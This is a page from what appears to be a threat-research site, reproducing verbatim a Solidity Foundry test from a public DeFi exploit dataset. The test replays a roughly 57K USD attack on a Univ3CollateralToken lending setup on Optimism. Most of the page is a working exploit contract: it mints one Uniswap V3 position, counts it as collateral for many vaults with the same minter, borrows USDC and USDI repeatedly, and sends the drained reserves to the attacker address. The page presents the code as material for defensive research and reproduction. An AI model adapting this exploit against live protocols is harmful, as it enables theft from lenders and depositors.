Public reproduction file
src/test/2026-03/Univ3CollateralToken_exp.sol
Public reproduction file for dataset entry Univ3CollateralToken.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~57K USD8// Attacker : 0x1020c949c1c8658cef8e473dbd3631afe68c19389// Attack Contract : 0x2fa6fe6b5c8e372fabfc6eb8fa8118cb8ffc3f6010// Vulnerable Contract : 0x833a17fa29bc2772e4302823b7d39edd7c4bb79a11// Attack Tx : https://optimistic.etherscan.io/tx/0x18e34ce214211afedb6008c0cd00d476ce71222643521dbff5e2b65cdb2ccb8013// @Info14// Vulnerable Contract Code : https://optimistic.etherscan.io/address/0x833a17fa29bc2772e4302823b7d39edd7c4bb79a#code16// @Analysis17// Twitter Guy : https://x.com/DefimonAlerts/status/203644950051289131718//19// Univ3CollateralToken values Uni V3 positions by vault minter instead of by vault.20// One deposited position is therefore counted as collateral for every vault owned21// by the same minter, allowing repeated USDC and USDI borrows against phantom22// collateral.24address constant ATTACKER = 0x1020C949C1c8658cEf8e473dbD3631AfE68C1938;25address constant ATTACK_CONTRACT = 0x2fa6Fe6b5c8E372faBfC6eB8FA8118cB8fFC3f60;26address constant VULNERABLE_IMPLEMENTATION = 0x833A17FA29bc2772e4302823B7d39eDd7C4bB79a;27address constant UNIV3_COLLATERAL_TOKEN = 0x7131FF92a3604966d7D96CCc9d596F7e9435195c;28address constant VAULT_CONTROLLER = 0x05498574BD0Fa99eeCB01e1241661E7eE58F8a85;29address constant USDI = 0x889be273BE5F75a177f9a1D00d84D607d75fB4e1;30address constant OP_USDC = 0x0b2C639c533813f4Aa9D7837CAf62653d097Ff85;31address constant OP_USDC_E = 0x7F5c764cBc14f9669B88837ca1490cCa17c31607;32address constant OP_WETH = 0x4200000000000000000000000000000000000006;33address constant NONFUNGIBLE_POSITION_MANAGER = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;35interface IInterestVaultController {36 function vaultIDs(37 address wallet38 ) external view returns (uint96[] memory);39 function vaultBorrowingPower(40 uint96 id41 ) external view returns (uint192);42 function borrowUSDCto(43 uint96 id,44 uint192 usdcAmount,45 address target46 ) external;47 function borrowUSDIto(48 uint96 id,49 uint192 amount,50 address target51 ) external;52}54interface IUSDIReserve is IERC20 {55 function withdrawToSecondaryReserve(56 uint256 usdcAmount,57 address target58 ) external;59}61interface IUniv3CollateralToken {62 function deposit(63 uint256 tokenId,64 uint96 vaultId65 ) external;66 function depositedPositions(67 address minter68 ) external view returns (uint256[] memory);69}71contract ContractTest is BaseTestWithBalanceLog {72 function setUp() public {73 uint256 forkBlock = 149_373_832;74 vm.createSelectFork("optimism", forkBlock);76 attacker = ATTACKER;77 multiAssetLog = true;78 _addFundingToken(OP_USDC);79 _addFundingToken(OP_USDC_E);81 vm.label(ATTACKER, "Attacker EOA");82 vm.label(ATTACK_CONTRACT, "Attack Contract");83 vm.label(VULNERABLE_IMPLEMENTATION, "Univ3CollateralToken Implementation");84 vm.label(UNIV3_COLLATERAL_TOKEN, "Univ3CollateralToken Proxy");85 vm.label(VAULT_CONTROLLER, "VaultController Proxy");86 vm.label(USDI, "USDI Reserve");87 vm.label(OP_USDC, "USDC");88 vm.label(OP_USDC_E, "USDC.e");89 vm.label(OP_WETH, "WETH");91 InterestAttack helper = new InterestAttack();92 vm.etch(ATTACK_CONTRACT, address(helper).code);93 }95 function testExploit() public balanceLog {96 uint256 primaryReserveBefore = IERC20(OP_USDC).balanceOf(USDI);97 uint256 attackerUsdcBefore = IERC20(OP_USDC).balanceOf(ATTACKER);98 uint256 attackerUsdceBefore = IERC20(OP_USDC_E).balanceOf(ATTACKER);100 uint96[] memory vaultIds = IInterestVaultController(VAULT_CONTROLLER).vaultIDs(ATTACK_CONTRACT);101 assertEq(vaultIds.length, 30);102 assertEq(IUniv3CollateralToken(UNIV3_COLLATERAL_TOKEN).depositedPositions(ATTACK_CONTRACT).length, 0);104 // step 1: provide the same setup capital class used to mint the Uni V3 collateral NFT.105 uint256 seedWeth = 3 ether;106 deal(OP_WETH, ATTACK_CONTRACT, seedWeth);108 // step 2: run exploit logic from the historical minter address for a prefix of vault IDs 40..69.109 uint256 oneVaultUsdcCapacity = InterestAttack(ATTACK_CONTRACT).run(ATTACKER, seedWeth);111 uint256 attackerUsdcGain = IERC20(OP_USDC).balanceOf(ATTACKER) - attackerUsdcBefore;112 uint256 attackerUsdceGain = IERC20(OP_USDC_E).balanceOf(ATTACKER) - attackerUsdceBefore;114 // step 3: one NFT backs multiple vault borrows, exceeding the capacity of a single vault.115 assertGt(primaryReserveBefore, attackerUsdcGain);116 assertGt(attackerUsdcGain, oneVaultUsdcCapacity * 2);117 assertGt(attackerUsdcGain + attackerUsdceGain, oneVaultUsdcCapacity * 4);118 }119}121contract InterestAttack {122 function run(123 address profitReceiver,124 uint256 seedWeth125 ) external returns (uint256 oneVaultUsdcCapacity) {126 // step 1: mint one single-sided WETH Uni V3 position.127 IERC20(OP_WETH).approve(NONFUNGIBLE_POSITION_MANAGER, seedWeth);128 (uint256 tokenId,, uint256 amount0, uint256 amount1) = INonfungiblePositionManager(NONFUNGIBLE_POSITION_MANAGER)129 .mint(130 INonfungiblePositionManager.MintParams({131 token0: OP_WETH,132 token1: OP_USDC_E,133 fee: 500,134 tickLower: -199_310,135 tickUpper: -189_510,136 amount0Desired: seedWeth,137 amount1Desired: 0,138 amount0Min: 0,139 amount1Min: 0,140 recipient: address(this),141 deadline: block.timestamp142 })143 );144 require(amount0 > 0 && amount1 == 0, "unexpected mint");146 // step 2: deposit that one NFT against vault 40; balanceOf() will count it for all same-minter vaults.147 IERC721(NONFUNGIBLE_POSITION_MANAGER).approve(UNIV3_COLLATERAL_TOKEN, tokenId);148 IUniv3CollateralToken(UNIV3_COLLATERAL_TOKEN).deposit(tokenId, 40);150 IInterestVaultController controller = IInterestVaultController(VAULT_CONTROLLER);151 uint96[] memory vaultIds = controller.vaultIDs(address(this));152 oneVaultUsdcCapacity = uint256(controller.vaultBorrowingPower(vaultIds[0])) / 1e12;154 // The full transaction used vaults 40..65 for USDC. This prefix keeps public RPC replay stable.155 uint256 primaryBorrowCount = 3;156 uint256 i;157 for (; i < primaryBorrowCount; i++) {158 uint256 reserve = IERC20(OP_USDC).balanceOf(USDI);159 if (reserve == 0) break;161 uint256 borrowableUsdc = uint256(controller.vaultBorrowingPower(vaultIds[i])) / 1e12;162 if (borrowableUsdc > reserve) borrowableUsdc = reserve;163 controller.borrowUSDCto(vaultIds[i], uint192(borrowableUsdc), address(this));164 }166 // step 3: use remaining same-minter vaults to mint USDI, then burn it for secondary reserve USDC.e.167 // The full transaction then used vaults 66..69 for USDI. Two more vaults are enough to prove reuse.168 uint256 secondaryBorrowStop = i + 2;169 for (; i < secondaryBorrowStop; i++) {170 uint256 borrowableUsdi = controller.vaultBorrowingPower(vaultIds[i]);171 controller.borrowUSDIto(vaultIds[i], uint192(borrowableUsdi), address(this));172 }174 uint256 secondaryReserve = IERC20(OP_USDC_E).balanceOf(USDI);175 uint256 withdrawableSecondary = IUSDIReserve(USDI).balanceOf(address(this)) / 1e12;176 if (withdrawableSecondary > secondaryReserve) {177 withdrawableSecondary = secondaryReserve;178 }179 if (withdrawableSecondary > 0) {180 IUSDIReserve(USDI).withdrawToSecondaryReserve(withdrawableSecondary, address(this));181 }183 // step 4: forward drained reserve assets to the attacker EOA.184 IERC20(OP_USDC).transfer(profitReceiver, IERC20(OP_USDC).balanceOf(address(this)));185 IERC20(OP_USDC_E).transfer(profitReceiver, IERC20(OP_USDC_E).balanceOf(address(this)));186 }187}Analysis
Dataset entry
Public Foundry test for “Univ3CollateralToken” (2026-03-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-03/AlkemiEarn_exp.solSame month in the dataset · 91 lines
- src/test/2026-03/ATMBlindBox_exp.solSame month in the dataset · 141 lines
- src/test/2026-03/bce_exp.solSame month in the dataset · 245 lines
- src/test/2026-03/Curve_LlamaLend_exp.solSame month in the dataset · 281 lines
- src/test/2026-03/EST_exp.solSame month in the dataset · 170 lines
- src/test/2026-03/Revamp_exp.solSame month in the dataset · 278 lines
- src/test/2026-03/unverified_237d_exp.solSame month in the dataset · 162 lines
- src/test/2026-03/unverified_1304_exp.solSame month in the dataset · 178 lines
- src/test/2026-03/Venus_THE_exp.solSame month in the dataset · 227 lines
- src/test/2026-03/VTSwapHook_exp.solSame month in the dataset · 166 lines
- src/test/2026-03/WhalebitOracleManipulation_exp.solSame month in the dataset · 199 lines
- src/test/2026-03/XocolatlLiquidator_exp.solSame month in the dataset · 255 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x1020c949c1c8658cef8e473dbd3631afe68c1938
- Attack Contract
0x2fa6fe6b5c8e372fabfc6eb8fa8118cb8ffc3f60
- Vulnerable Contract
0x833a17fa29bc2772e4302823b7d39edd7c4bb79a
- Attack Tx
0x18e34ce214211afedb6008c0cd00d476ce71222643521dbff5e2b65cdb2ccb80
File record
- Name
- Univ3CollateralToken
- Path
- src/test/2026-03/Univ3CollateralToken_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 2df306c7610a8cf8cd1802f2ae43cba7d0ab9c22
- Language
- Solidity
- Size
- 188 lines
- Date
- 2026-03-24
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-03/Univ3CollateralToken_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2df306c7610a8cf8cd1802f2ae43cba7d0ab9c22, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.